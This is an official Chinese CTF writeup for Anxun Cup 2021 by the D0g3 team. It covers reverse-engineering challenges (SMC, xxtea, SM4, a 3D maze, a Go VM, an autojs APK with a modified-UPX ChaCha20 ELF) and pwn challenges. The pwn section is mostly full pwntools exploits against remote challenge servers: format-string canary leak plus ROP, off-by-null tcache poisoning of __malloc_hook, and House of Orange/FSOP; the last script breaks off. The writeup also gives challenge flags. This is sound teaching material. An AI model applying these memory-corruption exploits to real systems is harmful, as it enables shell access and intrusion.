安洵杯2021 官方Writeup(Re|Pwn) - D0g3
LaNyer CTF 8163浏览 · 2021-12-03 15:20

本文由 @D0g3 编写

i-SOON_CTF_2021 部分题目环境/源码后续将在Github开源
项目地址

RE

sign_in

考点:smc+花指令+数组内异或+W型的栅栏加密(比较难看)+魔改xxtea。

32位程序,无壳,打开发现是无法吃到食物的贪吃蛇游戏,ida打开,shift 12可以看到一些关键字符串,但是无法交叉引用。

定位到main函数,发现sub_40100F函数有花,点进去看看。

去花后,发现就是对0x401D10地址开始的后0x256个字节进行异或0x37解密。

所以两个方法,一是直接动调自解密,二是直接idapython还原静态分析,实际上动调会更好,确保堆栈平衡的情况下在0x401D10直接set ip动调分析,下面也给一个idapython还原脚本。

import idc
    st = 0x401D10
    i = 0
    while st <= 0x401D10+0x245:
        value = ida_bytes.get_byte(st)
        value ^= 55
        ida_bytes.patch_byte(st, value)
        st += 1

接下来分析0x401D10函数。

至于rand()%256的由来在这,也就是食物的判断,当食物等于rand()%256时才会进入输入flag的函数。

然后解题就先爆破256可能,得到food==77是正确的,然后进行W型栅栏解密,实际上看不懂也没关系,直接测试flag,得到变换顺序,只不过由于前面有个数组内异或,所以可能会造成多义性,所以动调时,跳过数组内异或就行。

enc=[0x00000061, 0x00000067, 0x0000006D, 0x00000073, 0x00000079, 0x00000035, 0x00000062, 0x00000066,
        0x00000068, 0x0000006C, 0x0000006E, 0x00000072, 0x00000074, 0x00000078, 0x0000007A, 0x00000034,
        0x00000036, 0x00000063, 0x00000065, 0x00000069, 0x0000006B, 0x0000006F, 0x00000071, 0x00000075,
        0x00000077, 0x00000031, 0x00000033, 0x00000064, 0x0000006A, 0x00000070, 0x00000076, 0x00000032]
    flag='abcdefghijklmnopqrstuvwxyz123456'

    for i in flag:
        print(enc.index(ord(i)),end=',')
    #index=[0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16]

解题脚本。

unsigned int enc[32] = {
         0xBF8ED8A5, 0xE115A9F9, 0xFCD3F08A, 0x8BBF8946, 0xC308B162, 0x2B19CF29, 0x7A770656, 0xA4BAE4BA, 
        0x4E3E8CE4, 0x01A7E1D9, 0x75E9CE04, 0x22B593B9, 0x497742B4, 0x24EB15F6, 0xF2C2FF0E, 0x47973039, 
        0xC801CA0D, 0x6A125861, 0x80320BE8, 0x0385BD47, 0x69F96DDD, 0xE56490D1, 0x2D3CAD4B, 0x2D4200BE, 
        0x89EF6979, 0x4A91885D, 0x019DEBC7, 0x3BF8FD96, 0x1BDD2557, 0xB8685FDD, 0x57226614, 0x9F585C28};
    //abcdefghijklmnopqrstuvwxyz123456 
    #include<stdio.h>
    #include<stdio.h>
    #include<string.h>
    #include<windows.h>
    #include<time.h>
    #include<conio.h>

    void decrypt(unsigned int *code ,unsigned int *key ,unsigned int n)
    {
        unsigned int next,end,sum;
        unsigned int rounds,e,delta=0x44336730+77;
        int i;


        rounds=6+52/n;
        sum=rounds*delta;    
        next=code[0];//设置next为code的第一个 
        do
        {
            e=(sum>>2)&3;
            for(i=n-1;i>0;i--)//解密最后一个到第二个
            {
                end=code[i-1];
                code[i]-=(( (end>>5^next<<2)  + (next>>3^end<<4) ) ^ ( (sum^next) + (key[(i&3)^e]^end) ));
                next=code[i];
            }
            end=code[n-1];
            code[0]-=(( (end>>5^next<<2) + (next>>3^end<<4) ) ^ ( (sum^next) +(key[i&3^e]^end) ));
            next=code[0];
            sum-=delta;
        }while(--rounds);

    }
    int main()
    {
        unsigned int key[4]={ 'D','0','g','3'};
        unsigned int n=32;
        char flag[32];
        int index[32]={0,6,17,27,18,7,1,8,19,28,20,9,2,10,21,29,22,11,3,12,23,30,24,13,4,14,25,31,26,15,5,16}; 
        int i;

        decrypt(enc,key,n);

        for(i=0;i<32;i++)
        {
            flag[i]=enc[index[i]];
        }

        for(i=31;i>=0;i--)
        {
            flag[i]^=flag[(i+1)%32];

        }
        printf("%s",flag);

    }
    //Th4_1mp0rtant_th2n9_is_t0_le@rn!

virus

考点:傀儡进程(pe映像切换),双线程异或,12宫密码部分矩阵加密,sm4。

ida打开,发现先是读取了一个资源,然后进行异或解密,后面就是傀儡进程的代码了,所以实际上,我们需要分析的是这个资源文件。

两种方法提取文件,ida动调dump出来,resource hacker软件提取出来,然后解密,得到flag.exe。

#include<stdio.h>
    #include<math.h>

    int main(void){

        FILE *p;
        char v[0x3104d]={0};
        int i;

        p=fopen("LOCALIZATION.bin","rb");
        fread(&v, 1, 0x3104d, p);
        for(i=0;i<0x3104d;i++)
        {
            v[i]=v[i]^65;
        }
        FILE *p1 = fopen("flag.exe", "wb");
        fwrite(&v, 1, 0x3104d, p1);
    }

分析flag.exe

所以关键就是分析sm4的key是如何生成的,其实这个算法,是本人在一次ctf中遇到了一个12宫密码的题,当时觉得里面一个矩阵的变换比较有意思,然后就用代码实现了其中的一小部分。

视频:https://www.bilibili.com/video/BV1Ra411F7tv/?spm_id_from=333.788.recommend_more_video.-1里面7分钟左右的部分。

我看了各位师傅的wp后,发现很大一部分都是用的爆破,也在预期之类,因为4个字节确实可以爆破,但实际上这个算法的加密就是解密,可以实验一下,多循环几次,就可以得到我们输入的内容,最终可以得到初始key为'_shy'。

所以解题就比较简单了。得到sm4的key,然后用python库,或者直接网站解,或者直接,把密文反着弄,然后用exe中的sm4部分跑一下,都可解。

import sm4

    key = sm4.SM4Key(bytes.fromhex("68677f4e555b4e777b65785b4c726f6f"))
    s =key.decrypt(bytes.fromhex("5C89EEF56FC54492DBE3AE9CB54F4AF4E7A35E0FFC93FC766CFB29E0162FA567"))

    x=[6,7]
    for i in range(32):
        print(chr(s[i]^x[i%2]),end="")
    #Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf!

mazeeee

IDA打开后初步分析为迷宫问题,经过判断后为10 15 5的三维迷宫,需要求出路径,操作规则如下:

xyz坐标系
‘w’:x+=2
‘s’:x-=1
‘d’:y+=2
‘a’:y-=1
‘W’:z+=1
'S':z-=1

简单写一个bfs或dfs即可得到路径,这里给出bfs脚本

#include <bits/stdc++.h>
using namespace std;
char mp[20][20][20];  
bool vis[20][20][20]; 
int L, R, C;               
int m_l[6] = {0, 0, 0, 0, 1, -1};        
int m_r[6] = {+2, -1, 0, 0, 0, 0}; 
int m_c[6] = {0, 0, -1, +2, 0, 0};
char x[6]={'w','s','a','d','W','S'};
struct position
{
    int l, r, c; 
    string s;
}start, End;       
queue <position> q;
bool check(int l,int r,int c)
{
    if(l >= 0 && l < L && r >= 0 && r < R && c >= 0 && c < C && mp[l][r][c] != '#' && vis[l][r][c] == 0)
        return true;
    return false;
}
void bfs()
{
    while (!q.empty()) q.pop();
    q.push(start);     
    vis[start.l][start.r][start.c] = 1;
    while (!q.empty())
    {
        position now = q.front();
        q.pop();
        if (now.l == End.l && now.r == End.r && now.c == End.c)    
        {   
            cout<<now.s<<endl;
            //exit(0);
        }
        position next;   
        for (int i = 0; i < 6; i++)
        {
            next.l = now.l + m_l[i];
            next.r = now.r + m_r[i];
            next.c = now.c + m_c[i];
            next.s = now.s + x[i];   
            if (check(next.l, next.r, next.c))   
            {
                q.push(next);
                vis[next.l][next.r][next.c] = 1;  
            }
        }
    }
}
int main()
{
    freopen("text2.in","r",stdin);
    //freopen("text2.out","w",stdout);
    L = 5; R = 10; C = 15;
    for (int i = 0; i < L; i++)
        for (int j = 0; j < R; j++)
            for (int k = 0; k < C; k++)
            {
                cin >> mp[i][j][k];
                vis[i][j][k] = 0;   
                if (mp[i][j][k] == 'S')
                {   
                    start.l = i;
                    start.r = j;
                    start.c = k;
                }
                if (mp[i][j][k] == 'E')
                {   
                    End.l = i;
                    End.r = j;
                    End.c = k;
                }
            }
    bfs();   
    return 0;
}
//dWWwwdddWWaawwddsssSaw

得到路径为:dWWwwdddWWaawwddsssSaw

继续可以进行动态调试分析,可知需要将得到的路径的与已知数组进行异或才能得到flag(注意,已知数组的长度为路径长度的两倍,因此需要将路径进行循环异或),但是该数组并不能通过动态调试获取。只能通过查看该数组的交叉引用来获取。

一个关于位运算的解密,直接用脚本求解即可

for(int i = 0; i < 22; i++)
        key[i] = (k[i] & 0x1F) | (k[(i + 1) % 22] & 0xE0);

得到key数组后直接异或解密得到flag

**********************W3lc0me_t0_The_Maze!!}

此题显然到这里还没有结束,我们通过得到的flag和IDA可以看出:

提示前面应该还有一段flag,此时查看Strings可以发现base64的字母表以及一串base64加密后的字符串

直接base64解密发现是乱码,因为base64的字母表在主函数中被修改过

简单的换位加密,得到修改后的base64字母表直接解密即可

D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!}

localhost:2333

flag: d0g3{Go1aN9_vM_1S_VERY_e@$Y!!}

题目描述

看看2333端口

题目制作过程

题目使用golang编写,程序内部在本地2333端口开了一个服务,程序需要在浏览器访问localhost:2333才能进行输入,由于go语言本身可以恢复符号表,所以将虚拟机指令函数全部命名成sub_x,为了逆向难度,在编译程序时没有采用//go:noinline方式编译,所以反编译出来的代码会比较抽象

//寄存器结构

type register struct {
    eax uint8
    ebx uint8
    ecx uint8
    edx uint8
    eip uint32
}
// 指令函数对应,每个函数后缀对应OPCODE

// push
func (reg *register) sub_0 () {}

// pop
func (reg *register) sub_1 (){}

// xor
func (reg *register) sub_2 (){}

// sub
func (reg *register) sub_3 (){}

// add
func (reg *register) sub_4() {}

// or
func (reg *register) sub_5 () {}

// shl
func (reg *register) sub_6() {}

// shr
func (reg *register) sub_7() {}

// mov
func (reg *register) sub_8() {}
// 寄存器选择函数,返回一个寄存器指针

func (reg *register)selectReg(optionReg uint8) (regPtr *uint8){
    var retVal *uint8
    switch optionReg {
    case 1:
        retVal = &((*reg).eax)
    case 2:
        retVal = &((*reg).ebx)
    case 3:
        retVal = &((*reg).ecx)
    case 4:
        retVal = &((*reg).edx)
    }
    return retVal
}

exp

cipher =[[155, 170, 203, 245, 138, 200, 161, 137, 224, 165],
         [126, 16, 58, 13, 49, 117, 45, 126, 119, 100],
         [74, 43, 235, 172, 8, 132, 43, 36, 36, 175]]

flag = ''
key_1 = 0xFF
key_2 = b'GOL@nD~!!!'

for i in range(len(cipher[0]) - 1, 0, -1):
    cipher[0][i] = (cipher[0][i] + i) ^ cipher[0][i-1]

cipher[0][0] ^= 0xFF

flag += bytes(cipher[0]).decode()

for i in range(len(cipher[1])): 
    flag += chr(cipher[1][i] ^ key_2[i])

for i in cipher[2]: 
    flag += chr((i >> 5) | (i << 3) & 0xFF)

print(flag)

crackme

该程序是由autojs编写而成 解压apk文件,在assests目录下存放了 main.js,其中main.js经过加密

JS解密

js采用了离线加密,jeb反编译该APK,加密逻辑存放在类

com/stardust/autojs/engine/encryption/ScriptEncryption;

逆向发现其使用了AES加密,其中key为变量m_key,iv为m_initVector

而m_key,在此处经过AES加密生成,加密的密钥为md5(packageName+versionName+mainScriptFile+VersionCode)

其中packageName等信息是从json文件中获取,由此得到加密key的密钥为

MD5(com.telegram.messenger1.0.0main.js1)=8605e55eaab55db47c24d7b5390336c1

加密密钥的IV为md5(buildID+name)[0:16]=md5(E668665F-8crackme)[0:16]=de4fcdd68dcdc81a

同时该IV也同样为JS加密的IV

而明文则为"seBmfdYSRu2ysWEl"

加密得到m_key hex形式为66edb59ca4783d9f32234e78e33c3f8b3ea71208f25b50dc2923d58c1dd3b527

此处加密JS的key和iv都拿到了,查看加密的js文件,发现多了8个字节,前8个字节像加密js的文件格式 将其删除之后进行解密。得到js源码。

"ui";
ui.layout(
    <frame>
        <vertical h="auto" align="center" margin="0 50">
            <text text="请è¾.å.¥flag" textColor="black" textSize="18sp"/>
            <input id="flag" />
            <button id ="ok" w="auto" h="auto" text="ç¡®å®."  style="Widget.AppCompat.Button.Colored"/>
        </vertical>

    </frame>
);
ui.ok.on("click",()=>{
    var result=[0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb];
    shell("chmod 777 /data/data/com.telegram.messenger/files/project/D0g3.jpeg",true);
    shell("/data/data/com.telegram.messenger/files/project/D0g3.jpeg"+" "+ui.flag.text(),true);
    if(files.isFile("/sdcard/1A.txt")){
        var data=files.readBytes("/sdcard/1A.txt");
        for(var i=0;i<data.length;i++){
            if((data[i]&0xff)!=result[i]){
                shell("rm -f /sdcard/1A.txt",true);
                toast("wrong");
                return 0;
            }           
        }
        toast("right");
        shell("rm -f /sdcard/1A.txt",true); 
    }
    else{
        toast("wrong");
    }    
})

elf解密

发现核心逻辑为D0g3.jpeg的elf文件,elf文件经过upx加壳,但是对Upx格式进行了改动,需要对其进行修复,才能用工具脱壳,首先修复UPX的magic头,一共三个地方

在尾部同时还多出了后缀 “d0g3d0g3”将其删除,脱壳时发现p_info损坏继续修复p_info,p_info的file_size和block_size被抹除,不过幸运的是此处依然存在着p_filesize和p_blocksize

将其修复一下

最后依然报错ELfxx_Ehdr错误,是因为删除了压缩数据的ELF文件头继续还原一下

upx -d得到脱壳后的文件。

脱壳后的文件校验了flag格式后进行chacha20加密算法,其中常量expand 32-byte k被修改为d0g3d0g3d0g3,最后解密脚本如下

/*********************************************************************
* Copyright (c) 2016 Jonas Schnelli                                  *
* Distributed under the MIT software license, see the accompanying   *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
struct chacha_ctx {
  uint32_t input[16];
};


/* $OpenBSD: chacha.c,v 1.1 2013/11/21 00:45:44 djm Exp $ */

typedef unsigned char u8;
typedef unsigned int u32;

typedef struct chacha_ctx chacha_ctx;

#define U8C(v) (v##U)
#define U32C(v) (v##U)

#define U8V(v) ((u8)(v)&U8C(0xFF))
#define U32V(v) ((u32)(v)&U32C(0xFFFFFFFF))

#define ROTL32(v, n) (U32V((v) << (n)) | ((v) >> (32 - (n))))

#define U8TO32_LITTLE(p)                                                       \
  (((u32)((p)[0])) | ((u32)((p)[1]) << 8) | ((u32)((p)[2]) << 16) |            \
   ((u32)((p)[3]) << 24))

#define U32TO8_LITTLE(p, v)                                                    \
  do {                                                                         \
    (p)[0] = U8V((v));                                                         \
    (p)[1] = U8V((v) >> 8);                                                    \
    (p)[2] = U8V((v) >> 16);                                                   \
    (p)[3] = U8V((v) >> 24);                                                   \
  } while (0)

#define ROTATE(v, c) (ROTL32(v, c))
#define XOR(v, w) ((v) ^ (w))
#define PLUS(v, w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v), 1))

#define QUARTERROUND(a, b, c, d)                                               \
  a = PLUS(a, b);                                                              \
  d = ROTATE(XOR(d, a), 16);                                                   \
  c = PLUS(c, d);                                                              \
  b = ROTATE(XOR(b, c), 12);                                                   \
  a = PLUS(a, b);                                                              \
  d = ROTATE(XOR(d, a), 8);                                                    \
  c = PLUS(c, d);                                                              \
  b = ROTATE(XOR(b, c), 7);

static const char sigma[16] = "d0g3d0g3d0g3d0g3";
static const char tau[16] = "expand 16-byte k";

void chacha_keysetup(chacha_ctx *x, const u8 *k, u32 kbits) {
  const char *constants;

  x->input[4] = U8TO32_LITTLE(k + 0);
  x->input[5] = U8TO32_LITTLE(k + 4);
  x->input[6] = U8TO32_LITTLE(k + 8);
  x->input[7] = U8TO32_LITTLE(k + 12);
  if (kbits == 256) { /* recommended */
    k += 16;
    constants = sigma;
  } else { /* kbits == 128 */
    constants = tau;
  }
  x->input[8] = U8TO32_LITTLE(k + 0);
  x->input[9] = U8TO32_LITTLE(k + 4);
  x->input[10] = U8TO32_LITTLE(k + 8);
  x->input[11] = U8TO32_LITTLE(k + 12);
  x->input[0] = U8TO32_LITTLE(constants + 0);
  x->input[1] = U8TO32_LITTLE(constants + 4);
  x->input[2] = U8TO32_LITTLE(constants + 8);
  x->input[3] = U8TO32_LITTLE(constants + 12);
}

void chacha_ivsetup(chacha_ctx *x, const u8 *iv, const u8 *counter) {
  x->input[12] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 0);
  x->input[13] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 4);
  x->input[14] = U8TO32_LITTLE(iv + 0);
  x->input[15] = U8TO32_LITTLE(iv + 4);
}

void chacha_encrypt_bytes(chacha_ctx *x, const u8 *m, u8 *c, u32 bytes) {
  u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
  u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
  u8 *ctarget = NULL;
  u8 tmp[64];
  uint32_t i;

  if (!bytes)
    return;

  j0 = x->input[0];
  j1 = x->input[1];
  j2 = x->input[2];
  j3 = x->input[3];
  j4 = x->input[4];
  j5 = x->input[5];
  j6 = x->input[6];
  j7 = x->input[7];
  j8 = x->input[8];
  j9 = x->input[9];
  j10 = x->input[10];
  j11 = x->input[11];
  j12 = x->input[12];
  j13 = x->input[13];
  j14 = x->input[14];
  j15 = x->input[15];

  for (;;) {
    if (bytes < 64) {
      if (m != NULL) {
        for (i = 0; i < bytes; ++i) {
          tmp[i] = m[i];
        }
        m = tmp;
      }
      ctarget = c;
      c = tmp;
    }
    x0 = j0;
    x1 = j1;
    x2 = j2;
    x3 = j3;
    x4 = j4;
    x5 = j5;
    x6 = j6;
    x7 = j7;
    x8 = j8;
    x9 = j9;
    x10 = j10;
    x11 = j11;
    x12 = j12;
    x13 = j13;
    x14 = j14;
    x15 = j15;
    for (i = 20; i > 0; i -= 2) {
      QUARTERROUND(x0, x4, x8, x12)
      QUARTERROUND(x1, x5, x9, x13)
      QUARTERROUND(x2, x6, x10, x14)
      QUARTERROUND(x3, x7, x11, x15)
      QUARTERROUND(x0, x5, x10, x15)
      QUARTERROUND(x1, x6, x11, x12)
      QUARTERROUND(x2, x7, x8, x13)
      QUARTERROUND(x3, x4, x9, x14)
    }
    x0 = PLUS(x0, j0);
    x1 = PLUS(x1, j1);
    x2 = PLUS(x2, j2);
    x3 = PLUS(x3, j3);
    x4 = PLUS(x4, j4);
    x5 = PLUS(x5, j5);
    x6 = PLUS(x6, j6);
    x7 = PLUS(x7, j7);
    x8 = PLUS(x8, j8);
    x9 = PLUS(x9, j9);
    x10 = PLUS(x10, j10);
    x11 = PLUS(x11, j11);
    x12 = PLUS(x12, j12);
    x13 = PLUS(x13, j13);
    x14 = PLUS(x14, j14);
    x15 = PLUS(x15, j15);

    if (m != NULL) {
      x0 = XOR(x0, U8TO32_LITTLE(m + 0));
      x1 = XOR(x1, U8TO32_LITTLE(m + 4));
      x2 = XOR(x2, U8TO32_LITTLE(m + 8));
      x3 = XOR(x3, U8TO32_LITTLE(m + 12));
      x4 = XOR(x4, U8TO32_LITTLE(m + 16));
      x5 = XOR(x5, U8TO32_LITTLE(m + 20));
      x6 = XOR(x6, U8TO32_LITTLE(m + 24));
      x7 = XOR(x7, U8TO32_LITTLE(m + 28));
      x8 = XOR(x8, U8TO32_LITTLE(m + 32));
      x9 = XOR(x9, U8TO32_LITTLE(m + 36));
      x10 = XOR(x10, U8TO32_LITTLE(m + 40));
      x11 = XOR(x11, U8TO32_LITTLE(m + 44));
      x12 = XOR(x12, U8TO32_LITTLE(m + 48));
      x13 = XOR(x13, U8TO32_LITTLE(m + 52));
      x14 = XOR(x14, U8TO32_LITTLE(m + 56));
      x15 = XOR(x15, U8TO32_LITTLE(m + 60));
    }
    j12 = PLUSONE(j12);
    if (!j12) {
      j13 = PLUSONE(j13);
      /* stopping at 2^70 bytes per nonce is user's responsibility */
    }

    U32TO8_LITTLE(c + 0, x0);
    U32TO8_LITTLE(c + 4, x1);
    U32TO8_LITTLE(c + 8, x2);
    U32TO8_LITTLE(c + 12, x3);
    U32TO8_LITTLE(c + 16, x4);
    U32TO8_LITTLE(c + 20, x5);
    U32TO8_LITTLE(c + 24, x6);
    U32TO8_LITTLE(c + 28, x7);
    U32TO8_LITTLE(c + 32, x8);
    U32TO8_LITTLE(c + 36, x9);
    U32TO8_LITTLE(c + 40, x10);
    U32TO8_LITTLE(c + 44, x11);
    U32TO8_LITTLE(c + 48, x12);
    U32TO8_LITTLE(c + 52, x13);
    U32TO8_LITTLE(c + 56, x14);
    U32TO8_LITTLE(c + 60, x15);

    if (bytes <= 64) {
      if (bytes < 64) {
        for (i = 0; i < bytes; ++i)
          ctarget[i] = c[i];
      }
      x->input[12] = j12;
      x->input[13] = j13;
      return;
    }
    bytes -= 64;
    c += 64;
    if (m != NULL) {
      m += 64;
    }
  }
}
int main(void)
{
    struct chacha_ctx ctx;
    uint8_t iv[8] = {0,};
    unsigned int i = 0;
    uint8_t result[36]= {0x2e,0xde,0x94,0xc2,0x41,0x8f,0xe3,0xfa,0xfb,0x10,0x4f,0x96,0x64,0xbf,0x2d,0xe3,0x96,0xf1,0x6c,0xa1,0x6b,0xb6,0x9a,0x94,0xfb,0x70,0x3f,0x4b,0x4b,0x7e,0x35,0xc7,0x10,0x90,0x57,0xcb};
    unsigned char* flag=(unsigned char*)malloc(0x40);
    memcpy(flag,result,36);
    const uint8_t key[32]={ 0x99, 0x17, 0x09, 0x3F, 0xB7, 0xFB, 0xD9, 0x7A, 0x79, 0x96, 0x90, 0xA6, 0xB4, 0xCF, 0xE1, 0xAF, 
    0x52, 0x4A, 0x38, 0x9B, 0xF0, 0xCC, 0x59, 0x9C, 0xC9, 0x73, 0xF5, 0x34, 0xB1, 0x7D, 0xDE,0x96};
    chacha_ivsetup(&ctx, iv, NULL);
    chacha_keysetup(&ctx, key,256);
    chacha_encrypt_bytes(&ctx, flag, flag, 36);
    printf("%s",flag);
}

crackme参考链接

https://blog.csdn.net/A622828/article/details/106414664?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.highlightwordscore

https://github.com/jonasschnelli/chacha20poly1305

https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/

PWN

stack

思路

一道格式化字符串漏洞,查看保护可以发现 开启了PIE和 canary

通过ida可以发现后门函数 及其所需的参数。

观察程序,可以发现能够利用格式化字符串漏洞泄露地址信息和canary从而绕过其防护

再次利用格式化字符串漏洞覆盖canary和ret ,使其可以执行system("/bin/sh")

Exp

#! /usr/bin/python3
from pwn import*
#io = remote("101.35.18.209",20113)
io = remote("47.108.195.119",20113)
#io = process('./ezstack')
context.log_level = 'debug'

#--------------------------------
io.recvuntil("名称:")
io.sendline("")
io.recvuntil("名字:")
io.sendline("")
#--------------------------------

sh = 0xB24
system = 0xA7C
pop_rdi = 0x000b03
ret = 0x00000000000007c1
#gdb.attach(io)
io.sendline(b'%12$p%11$p')
stack = io.recv(14)
stack = int(stack,16)
stack = stack & 0xfffffffffffff000
print("stack---->"+hex(stack))
canary = io.recvuntil('\n')[-17:]
canary = int(canary,16)
#gdb.attach(io)
print("canary--->"+hex(canary))

sh = stack + 0xB24
system = stack + 0xA8C
pop_rdi = stack + 0x000b03
ret = stack + 0x00007c1

print("sh",hex(sh))
print("system",hex(system))
print("pop_rdi",hex(pop_rdi))
print("ret",hex(ret))

io.recvuntil("--+--")
#gdb.attach(io)
io.sendline(b'a'*0x18 + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(system))

io.interactive()

noleak

通过观察可以发现有一个栅栏加密。并且存在offbynull漏洞

1.通过栅栏加密利用char为1byte,unsigned int为4byte的特性,加了个一个简单的栅栏加密字符串,解密只需将unsigned int类型的enc密文先转为单字节的char类型,然后进行栅栏为4的栅栏解密。

2.利用溢出漏洞修改size,将其free后再次malloc可以通过show泄露其地址。

3.利用tcache的特点,可以通过tcache_attack进行攻击,向malloc_hook中写入one_gadget.

4.再次调用malloc即可getshell

解密算法

#--------------------------------------
   a=[0x5f5f794e,0x63745f30,0x7448315f,0x37656e70]
   b=[]
   for i in range(4):
       tmp=a[i]
       for j in range(4):
           b.append(chr(tmp&0xff))
           tmp=tmp>>8
   flag=''
   for i in range(4):
       for j in range(4):
           flag+=b[i+4*j]
   print(flag)
   #N0_py_1n_tHe_ct7
#---------------------------------------

Exp

#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
#sh=remote("47.108.195.119",20182)
sh=remote("101.35.18.209",20112)
context.log_level = 'debug'
libc=ELF('./libc.so.6')
elf = ELF('./noleak')
#sh=process('./noleak')

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'

def choice(elect):
    sh.recvuntil('4) delete a chunk\n')
    sh.sendline(str(elect))

def add(index,size):
    choice(1)
    sh.recvuntil('?')
    sh.sendline(str(index))
    sh.recvuntil('?')
    sh.sendline(str(size))

def edit(index,content,full=False):
    choice(3)
    sh.recvuntil('?')
    sh.sendline(str(index))
    sh.recvuntil(':')
    if full:
        sh.send(content)
    else:
        sh.sendline(content)

def show(index):
    choice(2)
    sh.recvuntil('?')
    sh.sendline(str(index))

def delete(index):
    choice(4)
    sh.recvuntil('?')
    sh.sendline(str(index))

def exploit():
    li('exploit...')
    #--------------------------------
#   sh.recvuntil("名称:")
#   sh.sendline("")
#   sh.recvuntil("名字:")
#   sh.sendline("")
    #--------------------------------

    sh.sendlineafter("start !\n","N0_py_1n_tHe_ct7")

    add(0,0x80) #A
    add(1,0x18) #B
    add(2,0xf0) #C
    for i in range(7):
        add(i+3,0x80)

    for i in range(7):
        delete(i+3)
        add(i+3,0xf0)

    for i in range(7):
        delete(i+3)
    delete(0)
    #gdb.attach(sh)
    edit(1,b'\x00'*0x10+p64(0xb0),full=True)
    delete(2)
    #gdb.attach(sh)

    for i in range(8):
        add(3,0x80)
    show(1)
    sh.recvuntil('\n',drop=True)
    libc_base=u64(sh.recvuntil('\n',drop=True).replace(b'\n',b'').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    realloc=libc_base+libc.symbols['realloc']
    gadget=[0x41602,0x41656,0xdeec2]
    onegadget=libc_base+gadget[2]

    print(libc_base)
    print(malloc_hook)
    print(onegadget)
    #gdb.attach(sh)

    add(2,0x10)
    delete(2)
    edit(1,p64(malloc_hook-0x8) )
    add(3,0x10)
    add(4,0x18)
    edit(4,p64(onegadget)+p64(onegadget))
    #gdb.attach(sh)
    add(1,0x10)
    sh.interactive()

if __name__ == '__main__':
    exploit()
    finish()

ezheap

观察代码 可以发现没有 可以free堆块的函数 , 于是考虑可以使用houseOforange可以利用堆溢出修改下一chunk的size,从而是堆块分配值unsortbin,然后利用uaf漏洞进行泄露

完成泄露后可以使用FSOP,通过伪造的 vtable 和_IO_FILE_plus,从而通过报错来劫持程序流

1.首先通过gift函数接收地址。在通过溢出修改size,从而使得topchunk的size为0xf81 。 这里需要自行调试使得该chunk对齐

2.再次malloc一个大堆块,使得topchunk进入unsortbin,再次切割该堆块,通过show函数泄露地址。

3.伪造vtable 和_IO_FILE_plus

fake_file = b'/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap+0x1198) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file

进入报错函数后将会进入system并以/bin/sh为参数,这注意#vtable ptr需要自行调试使其指向自身。

4.再次执行malloc即可getshell

Exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
#elf = ELF('./EZheap')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")
#io = elf.process()
io = remote("47.108.195.119",  20141)


def ad(sz,na):
    sla('away\n', '1')
    sla('size of it', str(sz))
    sla('Name?', na)

def md(sz, na):
    sla('away\n', '2')
    sla('size of it', str(sz))
    sla('name', na)

def dp():
    sla('away\n', '3')



def finish():
    ia()
    c()

def exploit():
    li('exploit...')

    io.sendlineafter(':', 'test_team')
    io.sendlineafter(':', 'test_user')
    io.recvline()

    heap = io.recvuntil(b'\n',drop=True).ljust(8, b'\x00')
    heap = int(heap,16)
    print("heap",hex(heap))

    ad(0x20,"aaaa")
    ad(0xbd0+0x420,"aaaa")
    ad(0x20,"bbbb")
    md(0x40,b"A"*0x20 + p64(0) +p64(0xf81))
    #gdb.attach(io)
    ad(0x1000,"AAAA")
    ad(0x40,"BBBBBBBB")
    dp() 

    io.recvuntil("BBBBBBBB")
    area = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 1514
    malloc = area  - 0x10
    libc_base = malloc - libc.sym['__malloc_hook']
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system = libc_base + libc.symbols['system']
    print("area             ",hex(area))
